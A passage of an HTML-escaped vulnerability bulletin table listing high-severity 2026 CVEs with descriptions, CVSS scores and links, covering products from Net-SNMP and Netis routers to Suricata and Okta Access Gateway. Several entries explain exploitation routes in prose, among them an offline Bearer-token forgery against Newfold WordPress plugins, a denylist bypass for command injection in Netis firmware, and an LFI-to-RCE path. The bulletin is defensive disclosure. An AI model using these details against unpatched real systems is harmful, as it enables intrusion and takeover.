Version 4.4.2 contains a patch.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;9.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54694&quot; target=&quot;_blank&quot;&gt;CVE-2026-54694&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;net-snmp--Net-SNMP&lt;/td&gt;
&lt;td&gt;Net-SNMP through 5.9.5.2 contains a denial of service vulnerability in the SMUX module where smux_accept() performs an unauthenticated blocking read without timeout on newly accepted connections. An unauthenticated remote client can connect to the SMUX listener and send no data, causing the single-threaded snmpd main loop to block indefinitely and suspend all SNMP processing.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89147&quot; target=&quot;_blank&quot;&gt;CVE-2026-89147&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Netis Systems--NX10&lt;/td&gt;
&lt;td&gt;Netis NX10 firmware V4.0.1.5808 and V3.0.0.4142 contain an information disclosure vulnerability that allows unauthenticated attackers to retrieve the administrator password by sending a request to the sysinfo action in the web management interface without a valid session. Attackers can replay the exposed credential against the login handler to establish a fully authenticated administrator session on the device.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61516&quot; target=&quot;_blank&quot;&gt;CVE-2026-61516&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Netis Systems--NX10&lt;/td&gt;
&lt;td&gt;Netis NX10 firmware V4.0.1.5808 and V3.0.0.4142 contain an OS command injection vulnerability in the ping diagnostic handler that allows authenticated administrators to execute arbitrary shell commands as root by injecting into the IpAddr parameter. The parameter is interpolated directly into a shell command executed through system() with an incomplete denylist that only blocks spaces, pipes, semicolons, and ampersands, leaving command substitution and alternate field separator expansion available for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61517&quot; target=&quot;_blank&quot;&gt;CVE-2026-61517&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Newfold--WP Plugin Web&lt;/td&gt;
&lt;td&gt;Several Newfold plugins are vulnerable to Authentication Bypass. The vulnerability exists because the plugins bundle the wp-module-data module. In the module, the `authenticate()` method - registered on the `rest_authentication_errors` filter and therefore evaluated for every unauthenticated REST API request - performs an HMAC-style Bearer token comparison that degenerates when `HiiveConnection::get_auth_token()` returns `false`: PHP coerces `strrev(false)` to `strrev(&#039;&#039;)`, collapsing the secret salt to the publicly known constant `hash(&#039;sha256&#039;, &#039;&#039;) = e3b0c44...`, while all remaining hash inputs (HTTP method, request URL, raw request body, and the `X-Timestamp` header) remain fully attacker-controlled. This makes it possible for unauthenticated attackers to compute a valid Bearer token entirely offline, pass the token equality check, and have `wp_set_current_user()` invoked against the first administrator returned by `get_users([&#039;role&#039; =&amp;gt; &#039;administrator&#039;])`, granting full administrator-level access and enabling arbitrary REST API operations such as creating new administrator accounts and achieving complete site takeover. Vulnerable versions are WP Plugin Crazy Domains (&amp;lt;= 2.5.2), WP Plugin Web (&amp;lt;= 2.3.4), WP Plugin Hostgator (&amp;lt;= 3.1.0), WP Plugin Bluehost (&amp;lt;= 4.17.1). The affected module is vulnerable in versions up to, and including, 2.9.4.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80099&quot; target=&quot;_blank&quot;&gt;CVE-2026-80099&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Next4Biz Information Technologies Inc.--CSM (Customer Service Management)&lt;/td&gt;
&lt;td&gt;Deserialization of untrusted data vulnerability in Next4Biz Information Technologies Inc. CSM (Customer Service Management) allows Code Injection. This issue affects CSM (Customer Service Management): before 8.0.3.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-7861&quot; target=&quot;_blank&quot;&gt;CVE-2026-7861&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Next4Biz Information Technologies Inc.--CSM (Customer Service Management)&lt;/td&gt;
&lt;td&gt;Improper Limitation of a Pathname to a Restricted Directory (&#039;Path Traversal&#039;) vulnerability in Next4Biz Information Technologies Inc. CSM (Customer Service Management) allows Path Traversal. This issue affects CSM (Customer Service Management): from 6.8.9 before 8.0.3.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-6377&quot; target=&quot;_blank&quot;&gt;CVE-2026-6377&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NextGen Healthcare--Mirth Connect&lt;/td&gt;
&lt;td&gt;The XSLT Transformer Step builds a bare TransformerFactory without the proper security options set, so XXE injection can allow data exfiltration and denial-of-service attacks.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78224&quot; target=&quot;_blank&quot;&gt;CVE-2026-78224&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NextGen Healthcare--Mirth Connect&lt;/td&gt;
&lt;td&gt;NextGen Connect (Mirth Connect) versions 4.7.1 and earlier allow an authenticated user to execute arbitrary SQL through a Database Connector API, which could result in disclosure of stored credentials for connected systems, arbitrary file write, and a denial-of-service condition.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82583&quot; target=&quot;_blank&quot;&gt;CVE-2026-82583&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NextGen Healthcare--Mirth Connect&lt;/td&gt;
&lt;td&gt;When XML batch processing is turned on and the XPath option is selected, the raw batch input goes through a default XPath/JAXP setup with no entity restrictions, so XXE injection can allow data exfiltration and denial-of-service attacks.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82578&quot; target=&quot;_blank&quot;&gt;CVE-2026-82578&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;nfriedly--bestzip&lt;/td&gt;
&lt;td&gt;bestzip versions 2.2.6 and 3.0.2 contain an argument injection vulnerability in the nativeZip function that allows attackers to inject arbitrary arguments to the Info-ZIP backend. Attackers can supply a malicious destination path combined with crafted source entries to execute arbitrary commands with Node.js process privileges. Fixed in 2.2.7 and 3.0.3.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87794&quot; target=&quot;_blank&quot;&gt;CVE-2026-87794&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NI--SystemLink&lt;/td&gt;
&lt;td&gt;There is an improper access control vulnerability in NI SystemLink that may allow an authenticated user with limited privileges to access host operating system files and directories that should be restricted. This vulnerability affects NI SystemLink and NI SystemLink Server 2026 Q3 and prior versions.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-4129&quot; target=&quot;_blank&quot;&gt;CVE-2026-4129&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NI--SystemLink&lt;/td&gt;
&lt;td&gt;There is a storage of sensitive information in cleartext vulnerability in NI SystemLink. This vulnerability may allow an attacker with local access to obtain sensitive information stored by the system in the clear.&amp;nbsp; This vulnerability affects NI SystemLink and NI SystemLink Server 2026 Q3 and prior versions.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-4130&quot; target=&quot;_blank&quot;&gt;CVE-2026-4130&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ningzichun--Student Management System&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in ningzichun Student Management System up to 98760f5711cf6dc8b4adca53a9e207ca49b02ebf. Affected by this issue is the function mysqli_connect of the file config/database.php of the component Database Connection. This manipulation causes hard-coded credentials. The attack may be initiated remotely. The exploit has been publicly disclosed and may be utilized. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86673&quot; target=&quot;_blank&quot;&gt;CVE-2026-86673&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ninjew--GEO my WP&lt;/td&gt;
&lt;td&gt;The GEO my WP plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 4.5.5.3 via the gmw_posts_locator_ajax_info_window_loader function. This makes it possible for unauthenticated attackers to include and execute arbitrary .php files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where .php file types can be uploaded and included. In environments where PEAR is installed with register_argc_argv enabled, this file inclusion can be leveraged to write and execute arbitrary PHP code, achieving full remote code execution.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85200&quot; target=&quot;_blank&quot;&gt;CVE-2026-85200&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;nl-portal--nl-portal-backend-libraries&lt;/td&gt;
&lt;td&gt;NL Portal Backend Libraries provide backend components for Dutch government portals that interact with residents, customers, suppliers, and partner organizations. The `nl.nl-portal:taak` package from version 1.5.0 through 3.0.0 fails to verify ownership when processing the `submitTaakV2` GraphQL mutation, allowing an authenticated user who knows or guesses another user&#039;s task ID to read its form data, overwrite its submitted data, and mark the task as completed. Version 3.0.1 contains a patch. As a workaround, block the `submitTaakV2` mutation at the API gateway or restrict the `/graphql` endpoint to trusted networks&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49464&quot; target=&quot;_blank&quot;&gt;CVE-2026-49464&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;nodemailer--nodemailer&lt;/td&gt;
&lt;td&gt;Nodemailer versions 9.1.0 through 10.0.4 contain a quadratic time complexity vulnerability in the addressparser component when parsing email addresses with RFC 5322 comments. Attackers can craft malicious email headers with comment-separated atoms to consume excessive CPU and block the Node.js event loop for several seconds, causing denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90776&quot; target=&quot;_blank&quot;&gt;CVE-2026-90776&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Nordic Semiconductor ASA--nRF54H20&lt;/td&gt;
&lt;td&gt;When using the Direct XIP update strategy, the main application image starts other cores (i.e. radio core), based on the currently active slot without additional verification. The MCUboot in the bare (upstream) configuration assumes that if there is at least a single slot for each image available, the system is bootable and continues the boot process. This may lead to a situation when MCUboot picks different slot for different images (i.e. (a) for the main application and (b) for the radio image), boots the main application (from slot (a)) that afterwards starts the radio image by providing an address of the unauthenticated slot ((a) instead of (b)).&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-14296&quot; target=&quot;_blank&quot;&gt;CVE-2026-14296&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;nothings--stb_vorbis&lt;/td&gt;
&lt;td&gt;stb_vorbis through 1.22 contains a heap buffer overflow in start_decoder() where the codebook multiplicands allocation size is truncated from size_t to int. Attackers can craft a malicious Ogg Vorbis file with large entries and dimensions values to trigger out-of-bounds writes, causing process crashes or heap corruption.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89266&quot; target=&quot;_blank&quot;&gt;CVE-2026-89266&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Nozomi Networks--Guardian&lt;/td&gt;
&lt;td&gt;An access control vulnerability was discovered in the Credentials Manager functionality due to insufficient validation of user privileges. A remote authenticated user with limited privileges can view a limited subset of the available entries in the Credentials Manager. The actual credential values are not directly visible, but the user can delete entries or edit their properties. An attacker who deletes or edits an entry can disrupt authentication for dependent devices, and one who manipulates an entry&#039;s configuration may be able to indirectly obtain the credentials.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-33388&quot; target=&quot;_blank&quot;&gt;CVE-2026-33388&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Nozomi Networks--Guardian&lt;/td&gt;
&lt;td&gt;An improper certificate/host key validation vulnerability was discovered in the Smart Polling functionality, which established encrypted connections to target devices without validating the remote host&#039;s identity, and no option was provided to enable it. A man-in-the-middle attacker positioned between a sensor and a polled device can, during a polling session, impersonate the device and intercept the communication, including the credentials used to access it. The captured credentials can then be replayed to authenticate against the device itself or against other devices sharing the same credentials, allowing the attacker to access and tamper with the device&#039;s data and to disrupt its operations.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-33389&quot; target=&quot;_blank&quot;&gt;CVE-2026-33389&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NVIDIA--Triton Inference Server&lt;/td&gt;
&lt;td&gt;NVIDIA Triton Inference Server for Linux contains a vulnerability where an attacker could cause excessive iteration. A successful exploit of this vulnerability might lead to denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16497&quot; target=&quot;_blank&quot;&gt;CVE-2026-16497&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NVIDIA--Triton Inference Server&lt;/td&gt;
&lt;td&gt;NVIDIA Triton Inference Server for Linux contains a vulnerability where an attacker could abuse missing authorization. A successful exploit of this vulnerability might lead to information disclosure, data tampering, and denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-47625&quot; target=&quot;_blank&quot;&gt;CVE-2026-47625&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OCaml--cstruct&lt;/td&gt;
&lt;td&gt;The cstruct package before 6.3.0 for OCaml mishandles indexes.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89087&quot; target=&quot;_blank&quot;&gt;CVE-2026-89087&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OCaml--jose&lt;/td&gt;
&lt;td&gt;In the jose package before 0.11.0 for OCaml, library calls to validate an RSA signature only confirm that PKCS #1 decoding succeeds, and proceed to declare the signature valid without the required steps that involve the public key.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89086&quot; target=&quot;_blank&quot;&gt;CVE-2026-89086&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OCaml--utcp&lt;/td&gt;
&lt;td&gt;An issue was discovered in the utcp package before 0.0.6 for OCaml. Out-of-order segment reassembly allows remote denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87734&quot; target=&quot;_blank&quot;&gt;CVE-2026-87734&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OISF--suricata&lt;/td&gt;
&lt;td&gt;Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. Prior to versions 7.0.16 and 8.0.5, a protocol change while processing HTTP/2 traffic could lead to type confusion in Suricata. Crafted traffic may cause Suricata to crash, resulting in denial of service. Versions 7.0.16 and 8.0.5 contain a fix. As a workaround, disable HTTP/2 parsing if it is not required.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-45764&quot; target=&quot;_blank&quot;&gt;CVE-2026-45764&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OISF--suricata&lt;/td&gt;
&lt;td&gt;Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. Prior to version 7.0.16, the Lua TLS certificate information helper could dereference NULL certificate fields when a Lua script requested certificate information for TLS traffic where some certificate fields were absent. Crafted TLS traffic processed by a deployment using affected Lua TLS scripting could crash Suricata, resulting in denial of service. Version 7.0.16 contains a fix. As a workaround, avoid Lua scripts that call TLS certificate information helpers on untrusted traffic (`TlsGetCertInfo` function), or update scripts to handle missing certificate fields where possible.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-45747&quot; target=&quot;_blank&quot;&gt;CVE-2026-45747&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OISF--suricata&lt;/td&gt;
&lt;td&gt;Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. Prior to versions 7.0.16 and 8.0.5, Suricata could repeatedly perform expensive parsing of large HTTP `Content-Disposition` headers during HTTP response body processing. Crafted HTTP traffic could cause excessive CPU usage and denial of service. Versions 7.0.16 and 8.0.5 contain a fix. As a workaround, use a rule like `alert http1 any any -&amp;gt; any any (sid: 1; http.request_header; content: &quot;Content-Disposition:&quot;; startswith; bsize: &amp;gt; 8192; bypass;)`.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-45759&quot; target=&quot;_blank&quot;&gt;CVE-2026-45759&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OISF--suricata&lt;/td&gt;
&lt;td&gt;Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. Prior to versions 7.0.16 and 8.0.5, Suricata&#039;s IP defragmentation tracker lookup did not verify that an existing tracker used the same IP address family as the packet being processed. Under crafted fragmented IPv4/IPv6 traffic, an IPv6 fragment could be associated with an IPv4 defragmentation tracker. This can lead to a remote packet-triggered crash and denial of service when Suricata performs the relevant defragmentation. Versions 7.0.16 and 8.0.5 contain a fix. As a workaround, if using Suricata as an IDS with AF_PACKET, enabling AF_PACKET&#039;s `defrag` option may prevent Suricata from seeing such fragmented packets.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-45762&quot; target=&quot;_blank&quot;&gt;CVE-2026-45762&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OISF--suricata&lt;/td&gt;
&lt;td&gt;Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. Prior to versions 7.0.16 and 8.0.5, DNP3 reassembly could buffer data without sufficient parser-level bounds. Crafted DNP3 traffic may cause Suricata to consume excessive memory, potentially resulting in denial of service. Versions 7.0.16 and 8.0.5 contain a fix. As a workaround, disable DNP3 (which is not enabled by default) if it is not needed, and/or define a limited `stream.reassembly.depth` (0 or absent is unlimited).&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-45765&quot; target=&quot;_blank&quot;&gt;CVE-2026-45765&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OISF--suricata&lt;/td&gt;
&lt;td&gt;Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. Prior to versions 7.0.16 and 8.0.5, certain NFS parser state structures were insufficiently bounded. Crafted NFS traffic may cause Suricata to consume excessive memory, potentially resulting in denial of service. Versions 7.0.16 and 8.0.5 contain a fix. As a workaround, disable NFS application-layer parsing if it is not needed.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-45766&quot; target=&quot;_blank&quot;&gt;CVE-2026-45766&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OISF--suricata&lt;/td&gt;
&lt;td&gt;Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. Starting in version 8.0.0 and prior to version 8.0.5, LDAP transaction state could store an unbounded number of responses. Because LDAP can be processed over UDP, crafted traffic may cause Suricata to consume excessive memory, potentially resulting in denial of service. Version 8.0.5 contains a fix. As a workaround, disable LDAP application-layer parsing where it is not required. Alternatively, use a rule like `alert ldap any any -&amp;gt; any any (sid: 1; ldap.responses.count: &amp;gt;1024; bypass;)`.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-45768&quot; target=&quot;_blank&quot;&gt;CVE-2026-45768&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OISF--suricata&lt;/td&gt;
&lt;td&gt;Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. Prior to versions 7.0.16 and 8.0.5,IKEv2 parser state could grow without bounds while storing client transforms. Repeated crafted UDP traffic may cause Suricata to consume excessive memory, potentially resulting in denial of service. Versions 7.0.16 and 8.0.5 fix the issue. Some workarounds are available. Disable IKE application-layer parsing if it is not needed. Alternatively, use a rule to bypass ike flows after the first packets like `alert ike any any -&amp;gt; any any (sid: 2; flow.pkts_toserver: &amp;gt; 256; bypass; noalert;)`.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-45769&quot; target=&quot;_blank&quot;&gt;CVE-2026-45769&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OISF--suricata&lt;/td&gt;
&lt;td&gt;Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. Starting in version 8.0.0 and prior to version 8.0.5, a Lua rule that registers too many flow variables can corrupt Lua detection state and may bypass Suricata&#039;s restricted Lua sandbox. This requires an affected Lua script/rule to be loaded. Excessive flow variables being registered may also cause Suricata to crash. Version 8.0.5 contains a fix. As a workaround, disable `security.lua.allow-rules` unless Lua rules are required.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-45770&quot; target=&quot;_blank&quot;&gt;CVE-2026-45770&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OISF--suricata&lt;/td&gt;
&lt;td&gt;Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. Prior to versions 7.0.16 and 8.0.5, Suricata&#039;s HTTP/2 decompression path could grow the decompressed response-body buffer without an effective upper bound. A crafted HTTP/2 DATA payload using a high compression ratio, such as gzip, deflate, or brotli compressed data, could cause Suricata to allocate excessive memory while decompressing the payload. Versions 7.0.16 and 8.0.5 contain a fix. As a workaround, disable HTTP2.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-46387&quot; target=&quot;_blank&quot;&gt;CVE-2026-46387&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Okta--Okta Access Gateway&lt;/td&gt;
&lt;td&gt;The Okta Access Gateway improperly handles input sanitization and regular expression evaluation within its Protected Rule authorization check, resulting in an authorization bypass when an administrator has explicitly configured a Protected Rule policy on one or more application resources.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78626&quot; target=&quot;_blank&quot;&gt;CVE-2026-78626&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Okta--Okta Access Gateway&lt;/td&gt;
&lt;td&gt;The Okta Access Gateway does not sanitize SAML assertion values before interpolating them into database queries in the advanced mode datastore configuration. The unsanitized values are substituted directly into the query string prior to preparation, resulting in unintended SQL execution against the configured backend database.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78623&quot; target=&quot;_blank&quot;&gt;CVE-2026-78623&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Okta--Okta Hyperdrive Integration Plugin&lt;/td&gt;
